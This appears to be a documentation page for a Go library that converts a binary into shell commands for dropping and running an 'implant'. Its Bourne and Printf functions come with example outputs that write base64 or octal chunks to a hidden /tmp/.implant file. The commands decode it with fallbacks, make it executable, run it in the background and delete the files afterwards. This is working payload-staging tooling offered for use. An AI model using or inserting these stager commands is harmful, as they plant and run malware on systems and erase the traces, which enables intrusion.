Documentation
¶
Index ¶
Examples ¶
Constants ¶
View Source
const ( FlavorPrintf Flavor = "printf" FlavorBourne Flavor = "bourne" DefaultFlavor = FlavorPrintf DefaultLineMax = 2047 )
Variables ¶
This section is empty.
Functions ¶
func Bourne ¶
Bourne encodes a binary as base64 chunks with a portable decoder. Returns a list of shell commands: echo chunks to .b64 file, decode, chmod, exec, cleanup.
Example ¶
binary := []byte{0x7f, 'E', 'L', 'F'}
commands := Bourne(binary, Options{TempPath: "/tmp/.implant", LineMax: 2047})
for _, cmd := range commands {
fmt.Println(cmd)
}
Output: echo -n 'f0VMRg=='>>/tmp/.implant.b64 ((which base64 >&2 && base64 -d) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2>/dev/null >/tmp/.implant </tmp/.implant.b64 chmod +x /tmp/.implant /tmp/.implant & rm -f /tmp/.implant /tmp/.implant.b64
func Printf ¶
Printf encodes a binary as printf octal chunks. Returns a list of shell commands: printf chunks, chmod +x, exec in background, cleanup.
Example ¶
binary := []byte{0x7f, 'E', 'L', 'F'}
commands := Printf(binary, Options{TempPath: "/tmp/.implant", LineMax: 2047})
for _, cmd := range commands {
fmt.Println(cmd)
}
Output: printf '\177\105\114\106'>>/tmp/.implant chmod +x /tmp/.implant /tmp/.implant & rm -f /tmp/.implant
Types ¶
Click to show internal directories.
Click to hide internal directories.